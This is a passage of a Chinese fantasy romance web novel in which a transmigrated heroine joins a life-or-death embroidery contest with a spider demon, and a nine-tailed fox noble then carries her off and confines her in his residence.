事情发展到现在,颜芷看了看挽香和已经昏迷过去的夫人和侍郎,又看了下面色平静但暗中运功的纪绥,暗道不好。
上次九尾狐杀树妖的时候她不清醒,不知道具体情况。
但临到结尾,他实力大增应该和暴怒的树妖有关,现下,九尾狐可能要吃掉这只暴怒的蜘蛛妖了。
再这样下去,后果不堪设想。
仿佛看到他未来黑化的模样,颜芷按住纪绥的左手,对蜘蛛妖道:“你不是要比刺绣吗?我也略通一些技法,正愁无人切磋,不如我们也来比比?”
察觉到女子柔软的手指搭上手背一触即离,像尾巴拂过,纪绥心头一动,有些发痒。
刚才被黑气诱惑想吃掉蜘蛛妖的心思略微冷静下来。
这女子能做什么?
颜芷她想做什么?
双手抱臂,纪绥好整以暇地看向这两人。
无妨,他且等等。
听到颜芷的话,蜘蛛精混沌的眼眸出现片刻清明,她看向这个长相清丽,不知天高地厚的人类少女,有些惊讶:“你有十足的把握能赢?”
颜芷:“凡事皆有可能,不比怎么知道?”
话虽然这么说,她也很慌张,会针线活完全是因为从小被迫独立,上寄宿制学校什么事情都要自己干,破了的书包,开了线的衣服,都要自己缝补。上大学之后,为了挣钱也接了不少网上手工兼职,十字绣之类的不在话下,但和擅长织网的蜘蛛妖比赛,这恐怕是她二十一年来人生的奇遇。
听到女子自信的话语,挽香久违的胜负欲归来,沸腾欲望稍稍平息下来,像退潮后的海水,黑气衰弱了不少。她需要一个对手,希望对方是一个好的对手,眼前这个小姑娘可千万不要让她失望。
挽香身上的紫气隐匿不见,又恢复到平常待人接物时的娇媚状态,轻声细语:“小姑娘,你想怎么比?”
“前提,此番比试要签生死状。赢者得生,输家必亡。”
挽香轻笑,比赛嘛,惩罚要够严重才会够认真。这是她引以为傲的毕生所学,当然要选个足够重要的赌注。
况且,谁知道这个平平无奇的人类女子是不是在诈她?
她现在满腔怒意不知何处宣泄,可没工夫和一个新手再玩过家家。
颜芷闻言,此刻疯狂头脑风暴,虽然没看过蜘蛛妖的刺绣本事,也不知她究竟高到什么地步,但从刚才她织出的幻境画卷来看,肯定对传统刺绣针法如数家珍,所以不能比传统技法,那样必输,得选一个她从没来没见过的。
另辟蹊径,或许有赢的可能。
想到了!颜芷弯起嘴角:“我答应你。但要和你比立体丝带绣,绣一朵花。”
“你敢不敢?”
“立体丝带绣?”第一次听到这个绣法,蜘蛛精有些好奇,重复道。
“怎么,你不会是怕了吧?”
见对方未答应,颜芷使用激将法。
“这有什么不敢的?”挽香眉头蹙起又放下,“我和你比。”
不管什么绣法,她都有把握自己能赢,这是蜘蛛妖一族与生俱来的天赋,也是它们誓死捍卫的荣耀。
20. 我和你比
“不需要绢布,要粗棉麻布。”
颜芷摩挲着手里的绢布,轻轻摇头。这次刺绣比的就是时间,虽然绢布细腻,但容易打滑,用质感粗糙的棉麻布上手更快。
选择立体丝带绣,是因为颜芷平时大学只要没课,在网上寻找手工兼职时经常接到这种活儿。丝带绣是源于18世纪法国宫廷的技法,这里是古代,自然没听过。
每逢情侣节日活动,不管是七夕,情人节,520还是521,玫瑰花丝带刺绣卖得最好,周围三三两两的同学出去欢度节日的时候,她就独自一人呆在宿舍,和网格布、绣针、缎带一起消磨时光,挑灯夜战。
刚开始时,室友还一副八卦脸,千方百计,旁敲侧击想从她口中打探是给谁做的,是不是给男朋友,颜芷无奈地轻笑摇头。
她天天打工还来不及,哪里还有心思谈恋爱。后来,见多了她做手工的样子,舍友也都见怪不怪起来。
因此,用立体丝带绣绣一朵玫瑰,半炷香就够了。
颜芷暗自估算胜率,这绝不是因为她比蜘蛛妖聪明有天赋,而是多次练习带来的经验之谈。在这性命攸关,故事动辄烂尾的危机时刻,就容许她耍一把穿书者的小聪明吧。
无他,唯手熟尔。
烛火的阴影在她脸上明灭跳动,勾勒出女子线条流畅柔美的侧脸。颜芷只是聚精会神地盯着那块暗黄的布匹,在麻布上耐心叠加花瓣,动作迅速又不失条理,红色丝带在她手中不停穿梭,一朵娇艳欲滴的玫瑰慢慢在布面上绽放出来。
纪绥靠在椅子上,单手支着脑袋,盯着她专注的侧脸,不免有些出神。
无来由地想起来灯下看美人这句诗。
嗯,她其实长得并不难看,额头上的疤痕无伤大雅,反而很美......
狭长眼睛微眯,视线慢慢下移,盯上她的唇。其实,她认真的时候,都会有一个小习惯,薄唇总是紧紧抿着,自带一股不服输的倔强,又像是盯着世界上最珍视的宝物那般势在必得。
看这女子并非草包,竟能将一朵不知名的花飞快地绣出来,手中也绣品初现雏形,挽香笑容凝固,一向志得意满的脸上有划过些许崩溃,就像完美无缺的面具裂开一抹瑕疵。
我绝对不会输。
重新平复心情的蜘蛛精静下心来,观察对面女子的技法,也学着她的模样一针一线来回穿梭。
刚开始动作有些缓慢,但渐渐地,速度越来越快,一朵鲜艳欲滴的红玫瑰在麻布上悄然盛放。
*
“我赢了!”挽香骄傲地宣布,打破了这场无声的战役。
在她出声时,颜芷正补完最后一针,扬起的手臂僵持在半空中。
像被一道惊雷劈中,整个人僵住。一向平静的眼中充斥着不可置信的愕然。
明明计算好了时间,也练习了不下数百次,怎么会?
真的输了。
颜芷呆愣愣地看着因为被针扎破的伤口,巨大的恐慌与自责如同潮水般将她淹没。
原来,自己也不是想象中的无所不能,坚强能干。
明明不满烂尾小说,夸下海口要更改结局。
可眼下,比赛输了,这件事搞砸了。她连自己都救不了。
怎么可能救得了所有人?改得了烂尾结局?
反而弄巧成拙,失败的后果......
想到这里,颜芷禁不住的发冷打颤。
“颜姑娘,你确实绣得很快。可惜我更胜一筹。”挽香颇为惋惜地看着眼前的粉衣女子,她确实不算废物,但绣工也就这样。
“既然输了,就去死吧。”
暗紫色蜘蛛丝从她手中射出,直直奔向颜芷的方位,朝她的心口而去。
一只骨节分明的手截住了蜘蛛丝,泛着冷光的蛛丝将其勒出道道血痕,鲜血顺着蛛丝流下来,染红了部分丝线,有一种妖异的美感,
“她是我府上的人。要死也只能死在我手上。”
纪绥冷笑,攥着蛛丝却纹丝不动,仿若无痛无觉。高大的身躯恰好将失神的女子遮挡的严严实实。
听到纪绥的话,颜芷有些意动,想要开口说些什么。
这算什么?反派居然保护她?
保护她,也是出于同命相系吧?
但......她什么也说不出,反而喉咙艰涩,只是徒劳的张了张嘴。
看这玉面公子云淡风轻的样子,挽香好笑这世子不自量力,本以为是一个惊才绝艳之人,没想到草包一个,白瞎了这副皮囊。
她本以为这狐妖深不可测,没有把柄,刚才经过一番消化百转千愁丝上的讯息,早已了解事情的来龙去脉。
原来这世子如此用心地保护这粉衣女子,不是因为别的,而是万年树妖的木灵契。
单独对付这九尾狐确实力不从心。但有了这,一切都好说了。
真是死到临头还嘴硬,挽香温柔道:“不要着急,你们都得死。”
边说着,双手有条不紊地在房间内排网布线。
“这是生死阵,不是你们死就是我亡,现下看来。你们都活不过今天了。”
纪绥眼神发冷,之前出手顾忌只是因为受木灵契限制,现下封印已解。他不想再隐藏实力,打算出手和挽香过招。
空气中暗流涌动,剑拔弩张,一切蓄势待发。
*
“我和你比”,一句淡淡的女声传来,语气却是不容质疑的坚定。
一旁的侍郎沈澈也醒了过来,看到夫人此般模样,有些陌生,想开口说些什么,但又闭住了嘴。
众人看向声源处,正是刚才中毒晕倒的沈夫人,她支撑着墙壁爬起来,展示了下还能活动的右手。
因为妖毒的缘故,紫色的血线在手上蔓延出纹路,意外地,五指反而能够轻松自由地张握。
“你不是一直想和我比吗?”王莺挑衅道,眼神焕发出前所未有的光彩,说这话的时候轻轻一笑,好像回到了开朗明媚的少女时光。
“好啊。”看到终于恢复斗志的王莺,蜘蛛精欣然答应,兴奋之意在胸腔翻涌沸腾。
这个她等待数年的赌约,今日终于要实现了。
在相同时间内,两人绣同样一幅作品。
一炷香时间。
刺绣选材之中人物难度最高,为了保证公平,两人决定以都不熟悉的古画为目标。
“我们就绣古画上的人。”挽香朝着墙上的古画随手一指,盲选定下一幅仕女执扇图。画上的仕女在花丛前背对着身子微俯,手里拿着一把小扇,盯着花上的一朵蝴蝶,作扑蝶之态。
“好。”王莺没在多说什么,点头答应。
两人端坐两张茶桌面前,桌上摆着上等的丝绢,洁白如雪,王莺和挽香的神情庄重得不亚于准备殿试的考生,态度严肃,皆严阵以待。
按住因为刚才失败焦虑不定的胸口,颜芷屏息凝神地观察着两人。
纪绥看了她一眼,眼神又移开,不发一言。
无妨,再等等便是。反正这
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局势他已全盘掌握,这蜘蛛精一时也掀不起什么风浪。
随着香烛开始燃烧,两人以极快的速度穿针引线。短针就是绣娘的武器,在扇面上来回穿梭,一尘不染的绢布开始创造生命。线尾齐、针垂直、排针密、需藏头。这四者对刺绣来说缺一不可。
如此,方可为一幅上好的绣品。
挽香看着王莺将扇面来回翻转,不免有些想笑。
看来,这些年不见,她着实功力退步了。
一炷香很快燃尽,两人几乎是同一时间完成了扇面,是一模一样的人物肖像。
“我比你快。”挽香抢先放下绣针,宣判胜利结果,她长舒一口气。
心中从未如此畅快,仿佛十年大仇得报,压在心中沉重的石头终于消失了。
她终于赢了,挽回了蜘蛛一族的尊严,也夺回了自己作为蛛娘第一圣手的脸面。
挽香得意地看向王莺,这个十年前打败自己的人类。
而今不过如此,她终于可以扬眉吐气。
王莺并未说话,而是静静地将女子持扇那面反转,将背面展示在众人面前。
这不可能!
挽香诧异地看着面前的扇面,背面轮廓与正面女子轮廓完全一样,绣的却是执扇女子的正面,绣艺精巧,将女子正面扑蝶的姿态完全勾勒出来。仕女表情欣喜,扑蝶姿势灵动又不失优雅,着实惟妙惟肖。
也就是说,在同样的时间内,王莺绣了两副图案。
她用双面三异绣赢了挽香。
这个十年前将她打败的凡人,十年后手艺越发精进,简直巧夺天工。
她才是这世上最好的绣娘,无论人、妖界。
“我输了,任你随意处置。”
挽香丧气地垂眸。
刚才宣布的胜利只是一场空,得而复失的感觉太过痛苦,像从天而降的烈火,将骄傲烧得一干二净。
还是技不如人。她日夜苦绣,支撑多年修炼的意志轰然倒塌,紫衣女子失魂落魄地瘫坐在地上,方才被中断的蜘蛛丝网开始收缩,往蛛妖身上汇集而去,俨然要像包裹桌椅一样将女子包裹住,然后爆炸掉。
“在临死前,我有一件事想问个清楚,要不死的实在不甘心。”她似乎想到什么,又略带期翼地抬起眼,看向王莺。
”你保持第一的秘诀究竟是什么?”
一次赢是幸运,二次赢不可能是偶然。
她一定有什么诀窍?挽香死也要死个明明白白。
“秘诀?......”听到这句话,王莺陷入沉思。
这个向来温顺寡言的妇人似乎平生来第一次思考这个问题。
是什么呢?
让她在儿时乞巧节上,顶着被众人群嘲的风险,夸下海口?
让长大后的她贴补家用维持生计,愿意日以继日挑灯夜绣?
是摔伤腿后,按沈澈吩咐终日待在家里,却不觉得时光虚度?
有一日厌烦了,看着丫鬟扑蝶,心生羡慕,暗暗把这场景记在心里,在绣面上反复练习。
不过须臾,王莺蹙起的眉头终于舒展开来,像是得到了答案。
众人的目光齐齐汇聚到王莺脸上,等着她的答复。
“我不知道,只是喜欢刺绣罢了。”
因为喜欢,不相信小时候的乞巧断言,所以愿意数年如一日地穿针引线。
所以才会在当初答应沈澈放弃刺绣后,呆在家不再刺绣时感到无所事事。
只是因为喜欢。
21. 光天化日 强抢民女
听到这句话,挽香瞳孔微滞,有些难以置信,片刻后释然自嘲。
原来如此。只是如此。
她好像被困在和旁人一较高下中太久了,天天只想压过一头的快感,却忘了初心。
无心钻研绣法,结果只会模仿而没有求新。想到这里,挽香不做挣扎,这只八足百年蛛妖一动不动,任由黑气将自己吞噬殆尽。
“慢着,”一只伤痕累累的手拦住了扑向她面门的蛛网。
挽香抬眼,正是一瘸一拐地向挽香走来的王莺。
“你......”
她神情复杂地看着垂头丧气的挽香,无奈开口:“你怎么还是和以前一样?过于好胜,妒意浓重,比赛而已,何必动不动以生死相论?”
“活着本就不易,能有享乐的爱好已是一件幸事。”
“为何不惜取年华,钻研所乐之事?”
这是她很久以前隐约做到,但当下才顿悟出来的道理。
王莺忽然觉得,之前独守空闺的惆怅,因腿伤被议论的苦闷,被伺候却无所事事的茫然,都敌不过手中一针一线得来的欢欣和踏实。
她看向这位让自己看清余生想做之事的对手,“引诱”丈夫失踪的第三人,一心一意比拼刺绣的蜘蛛妖,摊开掌心。
“你不明白。”挽香注视着眼前女子递来的那只手,摇头苦笑:“我多年心结正在于此。”
执念过重,虽未食人妖,但嗔怒嫉妒缭绕心头终年不散,这黑气已成心病,无药可治。
“何况,这蛛网是我们蜘蛛一族特有的生死网,融合了黑气,有一缺口无法破解。我认输心甘情愿,更何况就算想挽回也是不能了。”
但说后悔吗?其实是有的。
“如果有下辈子,我还想和你不加如何筹码地再比一场.....”可惜,挽香瞳孔黯淡下来。
如果有下辈子,她还想做一只蜘蛛妖,和她再比一次。
不加任何赌注,只是痛痛快快地比一场。
不为别的,只为切磋。
白中泛紫的蜘蛛网越来越密集,不停地聚拢收缩,眼看就要将紫衣女子包裹住,只留出那个黑气缭绕的小缺口。
黑气?纪绥手指微动,被身边的颜芷按住,她扭头示意,看向不远处。
顺着她的视线看去,只见王莺用力扯断一缕秀发,开始往网上修补,坚定说道:“我来试试,或许有希望。”既然是以死志凝成的嗔怒嫉妒凝结,那她也用身体发肤,受之父母的黑发,竞争的求活之心对抗。王莺捻开发丝,飞速用绣针朝着另一个方向织补,尽力延长蛛网收缩的速度。
一开始,蛛网并没有停止聚集。
但渐渐地,随着女子挥动修补的动作,紫色的蛛网放慢了吞吃,但受黑气驱使,还在蔓延。
一边缝补着,似乎想起什么,王莺一边弯起眼睛:“单丝不成线,独木不成林。我们还有很多次可以比。”
随着这句话,蜘蛛精浓重的黑气奇迹般消散不少,只剩下淡淡的黑雾,而一旁瑟瑟发抖的工部侍郎,却意外出现不少黑气。
看着被这一幕惊呆,不知所措的挽香。
王莺伸出完好的那只手将她拽起:“单丝不成线,独木不成林。活着本就是一件幸事。谢谢你,让我找回初心。”
看到这怪状,不明所以的九尾狐提步走近。
他并未直接触碰蜘蛛妖,狐狸眼开,瞳孔变成血红色,探查眼前蜘蛛精的黑气来源。
纪绥一挑眉,有些讶异,这只蜘蛛精看着黑气很强,充斥着嫉妒,愤恨和不甘,竟然妖力精纯,从未吃过人和妖。也就意味着,她的黑气可以被分离。
而那沈侍郎,竟然对自己的夫人怀有忌意,理所当然地,也有黑气。
被周遭大片黑气蛊惑,纪绥有些失神,还想继续行动,现在是吃掉蜘蛛妖的大好时机。他刚想动手,却被身旁的颜芷下意识地拽住。粉衣女子看向自己,认真地摇摇头,满含祈求和担心。
怎么不直接阻止他?还和他商量了?九尾狐恢复神智,看到覆盖在他手背上的那只手,低头一笑。
他怎么笑起来这么好看?
本意只是想阻止纪绥制造杀孽,不自觉出手的颜芷因这一笑心头有些异样,不自觉地漏了几拍,似乎意识到当前举动有些不妥,连忙放开。
温软的触感消失,纪绥低头,眼神闪过微不可察的失落,很快恢复平静。俊美公子俯身查看道:“被法阵反噬,她暂时变成妖形了,可能有朝一日会恢复,也可能永远不会。”
纪绥随意挥手,四周的紫色蜘蛛网应声碎裂,妖气也随之消散,黑色雾气渐渐汇入九尾狐手中。
紫色蜘蛛精的体型渐渐缩小,向王莺的方向爬去。
他刚要上前,颜芷见状,再度拉住纪绥左袖,她知道自己无所依仗,只能用木灵印做谈判条件:“你是要杀掉她吗?”
闻言,纪绥一愣,有些随意地看向她:“这取决于你。”
他知道这个人出现后就与他为敌,凡事都和自己反着来。这次,面对这个想杀她的蜘蛛妖,是否还会如此坚定?
虽然不相信自己能改变别人,但仰仗于木灵契,颜芷还是开口,下意识地说出内心想法:“不要。这里的任何一个,都不要。”
在这个世界呆的越久,愈发意识到大家都是有血有肉活生生的,她不想让任何生灵惨死。
况且,她想起那次血月,还有九尾狐吞吃树妖后饱受折磨的样子。吞噬同类虽能增强妖力,但他发狂之状看起来并不乐意,甚至很痛苦。
“为什么?”纪绥挑眉,有些讶异颜芷的回答。
之前看她恩怨分明,睚眦必报的性格,这里对她来说不过另一个世界,怎么也不像是会放过别人的样子。
“你会很痛苦。”颜芷不加思考,下意识地回答。
男子闻言,认真看了她一会儿,开口道:“好,但我会清除这些人关于我的记忆,身份泄露出去很有危险。”
九尾狐眨眼,黑色褪去,露出血红妖瞳。
除了颜芷之外,王莺,沈澈看到纪绥的瞳孔相继晕了过去,又醒了过来。
在九尾狐的操作下,众人记忆被微妙篡改,和挽香的比赛如常,众人被蜘蛛妖一同困在这里,只不过身怀术法吸收黑气的人从纪绥改成了颜芷,机缘巧合救了他们。
众人走出栖云阁,已经是第二天中午。
烈日当空,蝉鸣阵阵,高大的楼阁在阳光下投射出窄长的阴影。
游人们借这片阴凉处行走,沿途叫卖声不绝于耳,一切格外稀松平常。在结界的保护下,百姓们对阁楼内发生的事情浑然不知,自然也不见妖物来袭的慌张。
纪绥动手撤掉了栖云阁上的结界,阁二楼大厅被毁损的桌椅显现出来。在外焦急等候的老板娘看到里面打得七零八落的惨状,直接面色清白晕了过去。
他对不远处的稽妖司领卫打了个手势,示意纷扰解决,已可离开,看到世子身后走出的工部侍郎夫妇,巡捕们放下了按着刀鞘的手,卸下防备。
被篡改记忆的侍郎夫妇感激地看向世子二人:“多谢二位,出手相助。”
颜芷点头,心下受之有愧,没想到这次阻止反派是以如此平和的方式解决,心下一松的同时感到很不可思议。
告别颜芷等人后,王莺才抬头看向在一旁守候的男人,从小相伴长大的竹马,相伴十余载的郎君,轻声说:“回去之后,我们和离吧。”
因失职被罢免,本想寻求夫人安慰的沈澈愣怔了一下,反应过来想辩驳几句,慌不择言道:“我只是鬼迷心窍被妖物迷惑了。莺莺,你相信我,我们未来会把日子过得很好很好。”
王莺看着他,笑得温柔,眼神真切:“不是因为这个,我们和离。”
她说话温婉,语气却带有不容拒绝的坚定。
“你有你的职责,我也有我的骄傲。”她知道身为工部侍郎的夫君一直瞧不起不起自己,也隐隐嫌弃过那条跛腿。
不过,一切都不重要了。
看到妇人坚定的表情,侍郎愣住半响,丧气地低下了头,沉默半响,才应了句:“好”。
*
走出栖云阁半里,耀眼的阳光穿透树荫而来,直直刺痛颜芷的眼睛。
下意识抬手阻隔阳光,滚烫的热度穿过五指停留在眼皮上,提醒着颜芷刚才经历的一切不过一场幻梦,她依然在这个危机四伏的小说世界中,还需要做很多事才能回到原来世界。
阻止九尾狐吞吃妖怪的任务就这么轻松地解决了,颜芷有些难以置信,胸口还不自觉地怦怦直跳,最可怕的是,她刚才居然因为纪绥的笑而心动,像被童年最喜欢的兔子玩偶抱了一下。
这绝对不可能!
一定是木灵印的作用,同心相连让她产生幻觉了。
“系统
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系统,现在究竟是什么原因?木灵印还没有消除吗?”
颜芷下意识呼叫系统,想得到肯定的答复。
【经检测,宿主身体一切正常。系统友情提示,请尽快完成任务,以免出现意外情况。】姗姗来迟的系统冷冰冰回复后,就再次陷入沉默,任凭她如何呼喊都不作答。
片刻后,颜芷再次开口,带着一丝不自知的犹豫:“要想回去,除了杀掉他还有什么办法?”
【友情提示,请宿主尽快完成任务,以免回家出现意外。】
欸,这破系统总这样。
在需要帮助解疑时就悄无声息搞失踪。
对,一定吊桥效应,出了问题,颜芷摇摇头,快步走开,指甲用力抠手背保持清醒,小声告诫自己。
她和他不是一路人,不是一路人。不要妄想改变别人。这纪绥第一次见面就对自己动了杀机,这次放过只是因为九尾狐心情好。怎么能因为对方一时的心软忘记这是个恶贯满盈的大反派?
一切只是任务而已,回家才最真实。
*
解决完琐碎杂物,看着女子清瘦背影,纪绥快步紧跟上,注意到女子说话唇齿嘴型,笑意消失,神色微变。
低头看着颜芷,纪绥扣住女子纤长的手腕,认真盯着她,面色复杂:“你怎知我们不是一路人?”
“或许,我们才是真正的同类。”他一字一顿地说,表情真诚到难以辨别真假。
纪绥生的俊美,作为小说第一反派,高大的身材将她遮挡得严严实实,正好挡住了袭面而来的日光,将其笼罩在阴影之下。
刚说完,他便打了个响指,一匹装饰华丽的马车应声而来。
然而握住自己的右手并未松开,反而极为用力,像握着什么稀世珍宝一样。
察觉到扑面而来的压迫感,颜芷想把手从男子掌中挣脱却不能,用力推拒,想拉开二人之间的距离:“你要做什么?”
“你别忘了,我们之间还有木灵契,你不能对我怎么样。”她觉得这威胁还算有力,只是话音刚落,就感觉到之前栖云阁里的和睦相处气氛荡然无存。
察觉到女子的推拒,纪绥眸中柔情不再,顿生冰寒,反而更紧地将她的手攥住,力道大到快捏碎手骨。因为之前打斗被波及,手背还有擦伤,后知后觉疼痛,颜芷不自觉轻嘶一声。
注意到她白皙手背上的血痕,纪绥瞳孔微缩,终于放开了手,冷冷开口:“当然是带你回府,我们之间的账还远远没有算完。”
挣脱束缚,颜芷刚松下一口气,还没走出两步,就被身后的白衣公子单手抱起,强行塞进轿中。
此时正值午后,街上马咽车阗,游人如织,纷纷驻足观看。衣着华贵的男子毫不在意,将女子行云流水地塞进马车,就一掀袍子也坐了进去。装饰华丽的马车绝尘而去,径直奔向定安侯世子在京城的别苑。
当朝世子,竟然光天化日之下强抢民女。此事在向来注重礼仪的大宴朝可谓伤风败俗,有伤风化,为人不齿。
即使贵为世子,也不例外。
众人口口相传,风言风语,世子强夺民女的事迹如长了翅膀的鸟,很快飞到了不问世事的定安侯耳朵里。
这位清心寡欲的侯爷提笔的手在宣纸上重重一顿。
一幅将要绘成的花鸟画卷心顿时染上一团墨点,十分碍眼。
“让纪绥过来,说有要事相传。”侯爷冷冷开口。
*
窗外榕树沙沙作响,一如多年前的夏日,蝉嚣声不断。
一家绣坊内,入目所及摆着五彩缤纷、精巧绝伦的绣品,一个面目温婉的妇人坐在案台前,专心致志地穿针引线。头顶之上,棕木房梁上有一只硕大的蜘蛛,正在结着密密麻麻的网,只要仔细观察就会发现,刺绣的图案和女子的刺绣图案类似。
不知过了多久,王莺脖颈有些乏累。
放松间,抬头看向房梁,莞尔一笑,继续低头刺绣,手中的图案又快又好。
也许她一开始就错了,她不是为了他才学刺绣,而是一开始就想做天底下最好的绣娘。
而那栖云阁也消失地无影无踪,取而代之的是一家声名鹊起的王氏绣楼。听说里面的姑娘琴棋书画才艺精通,也是个品茶的好去处。
引用出处
单丝不成线出自元代无名氏《连环计》第二折
独木不成林出自东汉崔骃《达旨》
22. 这是她的信物
京城户盈罗绮,市列珠玑,堆金积玉,比起小桥流水、民风淳朴的斜阳镇,更显繁华。
一路被纪绥钳制着压回府上,颜芷有些不安。蜘蛛妖的事情解决完了,接下来该轮到她了。按之前书中描述的反派手段,纪绥一定会在不影响自身的情况下,为了解除木灵契,对她无所不用其极。
回到府上,颜芷以为一定会面临严刑拷打,或者各种妖法来解除封印,也做好了随机应变的准备。
没想到,这三天内,这九尾狐只是命人把她关在一间上等厢房里,好吃好喝地伺候着她,还时不时差人送来很多滋补身体的汤药。下人只是照做,绝口不提别的事情。
本人却从未出现。
被软禁的颜芷用尽各种办法也无法逃脱,反而身上徒增不少因撞门逃脱产生的淤青。
简直在做无用功。
她要怎么才能从这守卫森严的囚笼逃出去,或者说杀掉那个反派?
坐在架子床边,颜芷支着脑袋,看着窗外的沉沉夜色叹了口气。
眼下任务已经进入停滞阶段。这下可好,别说杀掉反派了,连面都碰不着。而该死的系统自从那天后再也没出过声。
现在该怎么办?
脑海里不停地推演逃脱方案,本就因这两天东奔西走精力不足,颜芷身体疲惫到了极点,竟一不留神倒头昏睡了过去。
明月高悬,月光洒进窗柩,一位俊美公子出现在颜芷床边。
看到女子紧锁的眉头,纪绥心海泛起波澜,抬手想要抚平,纤长手指却在即将接触到白皙脸颊时顿了一顿。
有东西?
九尾狐拧眉,食指中指并拢,在女子额前稍作一探,丝丝黑气从颜芷额间逸出,如一粒芝麻丸大小,在空中快速游荡着想逃离。
眼疾手快捏住那段黑气,黑气宛如一团有形的实体在纪绥指尖挣扎惊叫。
放在指尖来回揉捏了下,感应到她的痛苦,纪绥皱眉,一条蓬松白尾悄然出现在身后,尾尖轻点,将这股黑气吞噬得干干净净。
看到女子的眉头有所舒缓,眼底浮现出才一抹自己都未曾觉察的笑意。
看着颜芷安静的睡颜,又想到了那日的拉扯场面,纪绥当下五味杂陈,苦涩难辨。
难道她只有闭眼的时候,才会乖巧安静,才不会用仇恨的目光注视他?
就这般思索着,目光游移到女子手背结着血痂的伤口,微微一滞。
那是在栖云阁受的伤,还有一些白皙胳膊上的青黑瘀伤,看起来十分刺眼。
眉心一动,纪绥从怀里拿出一个小巧的圆形盒子,香膏盒子古朴精致,是难得的疗伤灵药。
掀开盒盖,淡淡的海棠香味扑鼻而来,纪绥食指轻点好药膏,在接近伤处时又募地停住。
不知为何,他现在有些害怕她醒来,怕看到这女子憎恶的眼神。
那眼神胜过黑气倾轧身骨的寸寸剧痛。
比千刀万剐还可怕。
于是隔空施法轻轻给对方胳膊上药。
颜芷睡意朦胧间,只觉意识昏沉中,清凉触感攀上贴上白日的淤痛处,莫名地很舒服。
应该是夏夜的凉风?没想到还有止痛的功效?于是右手掀开薄被,扯了扯碍事闷热的领口,示意风再往胸口伤处吹,拉扯间露出大片雪白。
专心处理颜芷左胳膊的伤口,纪绥全然未注意颜芷的举动。
要涂抹另一处时,转眼间,才注意到对方此刻大胆的动作,耳尖腾地一红,红意漫上脖颈。
这是在干什么?
纪绥一手放下药膏,一手拉起薄被,想给颜芷死死盖住那处。
往常从容有余的世家子难得显得手忙脚乱,眼看就要固定不住,他情急之下施了个定身术,好让对方不再挣扎。
外力施加,颜芷刚要清醒过来的意识又被拖入入梦中。
端着药膏,纪绥继续刚才没做完的事,雪白狐耳却不自觉地冒出来,一摆一摆,烦得他一手拍住脑袋。
自从上次栖云阁事件之后,妖力就越来越不稳定了,不知是否和没吞吃完蜘蛛精有关。
继续集中注意力给颜芷涂伤口,视线集中到她胸口上方的淤青,莫名有些烦躁。
这个人,为什么这么容易受伤?
几乎每一次见面,都有或多或少的伤口。
凡人这样脆弱吗?一点磕磕绊绊都不行,果然还是直接锁起来比较安全。
上药完毕,微不可察密哨声传来,头顶毛绒绒的狐狸耳朵又不自觉冒出来。
察觉到头顶情况,纪绥不耐地伸手压下,那空灵的哨子声却越发尖锐。
是养父?不知此时因何事要紧急传唤他?
离开前,又回头看了一眼颜芷,纪绥叹了口气,将药膏轻轻放在檀木桌上。
*
定安侯府,头发花白的老人未戴官帽,蹲在鱼池旁边喂鱼,听到有人走近的脚步声,才直起腰来。
侯爷漫不经心地撒着鱼食,语气悠悠:“这次进展如何?”
语焉不详,但二人都心知肚明,指的是黑气一事。
见养父深夜喂鱼举动,纪绥心生古怪,还是搪塞道:“还不错。已经死了。”
他是撒了个小谎没错,虽然此次栖云阁之行未吃尽妖怪,但也有搜集到黑气汇入聚影盒,应该不算出错。
见其不主动承认,定安侯站起身,转身淡淡道:“我听说你带了一个姑娘和你一同进入栖云阁?还当街强抢民女?”
“真是长本事了,好的很。这次风流成性的名声可是要坐实了。”
语气依旧淡然,但熟悉侯爷的人都知道,这是发怒的前兆。
看着纪绥,定安侯眸中充满探寻:“难道你心仪这女子?”
这逆子办事一向牢靠,处理事情向来不留痕迹,按理来说不可能犯这种低级错误。但震动的聚影盒明显指出妖力并未完全回收,所以极有可能没有杀掉生出黑气的妖怪。
天下恶念汇集成的聚影盒,只需一点黑气即可指示身怀黑气的妖物所在之处。未来,将会是助他剿灭黑气,消除九尾的重要帮手。
故此,他虽令九尾吞吃黑气,也会贮藏一些在此盒中,以备后日之需。
没想到,却此刻查出这逆子的不轨心思。
难道?是和那女子有关?
察觉到侯爷意思,纪绥低头:“养父误会了,只是目前这女子对我遮掩身份,外出行事有帮助。儿臣只是利用她,随时都可以杀了她。”
目前缺失一魄,受制于人,还在搜寻破解之道,他不想再露出什么把柄。
“那你何必多此一举,闹得满城风雨。”
“按照你的一贯作风,直接暗地里杀了不是更简单?又何苦大费周章将她带回去?”侯爷不苟言笑,一语道破隐秘心思。
定安候看着一旁嗡嗡作响的聚影盒,手上并未动作,直到察觉到右手拇指的玉扳指面不停地收缩,有魂魄想要逃离出来,才拧紧了眉头。
随着人形修成,这狐妖越发不可控,竟敢阳奉阴违,这可不是个好兆头。侯爷面有愠色,要知黑气集人妖各种怨念生成,逸散外流,积少成多会出人命,死伤无数。
除恶务尽,这是亘古不变的道理。
察觉到侯爷的杀意,纪绥率先下跪开口道歉:“父亲,这不会阻碍我们未来计划的。”
他只是不明白,明明已搜集到所需黑气,他也将其尽数吞吃,为何还要对未杀生的蜘蛛妖赶尽杀绝。
之前只是在恩情之中犹豫,有逃脱束缚报复的求死之意。
也明知养父借己消除黑气的可笑。
这次却忽然有些理解颜芷了。
铲除黑气,只为人世太平,妖兽从未被他放在眼里,假借自己之手除掉天下妖类,不分善恶,这是何等公正?
他从来都看不起妖,当然包括当朝人人喊打喊杀得而诛之的妖兽之首九尾狐。
所谓的吞吃黑气,为当世开太平只是人族的太平。
定安侯背过带扳指的手,冷笑道:“人妖殊途,你当真以为人和妖可以在一起?未免太过天真。”
看向这个二十出头的年轻人,当年粉雕玉琢的少年已长成玉树临风,喜怒不形于色的翩翩公子,狐狸毛也顺不住了,还敢和他来有回地顶嘴。真是反了天了。
老人皱眉,将装有鱼食的小瓷碗往旁边放下:“别忘了你跟着我的目的是什么,还有你娘......”
想到没有下落的阿娘,纪绥开口:“您经常教导我,能与人规矩,不能使人巧。这个中玄机,还得自己参透。”
言外之意,这是非善恶,他也会定夺。
真敢悖逆!定安侯大怒,将鱼食碗向白衣男子所在位置砸去。
他直挺挺地跪在地上并未闪躲,身姿如松如柏,殷红的血液顺着白皙的额头滴滴答答,如同血溪。
“真是反了,亏我之前还将绝命剪交给你,就是这么报恩的?那龙珠的事,想必你这逆子也并未放在心上吧?”
定安侯说着,食指紧紧按住右手的玉扳指。
幸好当时收服这妖狐时留了个心眼,将它的一魄拘束在这里面,必要时施加惩戒。
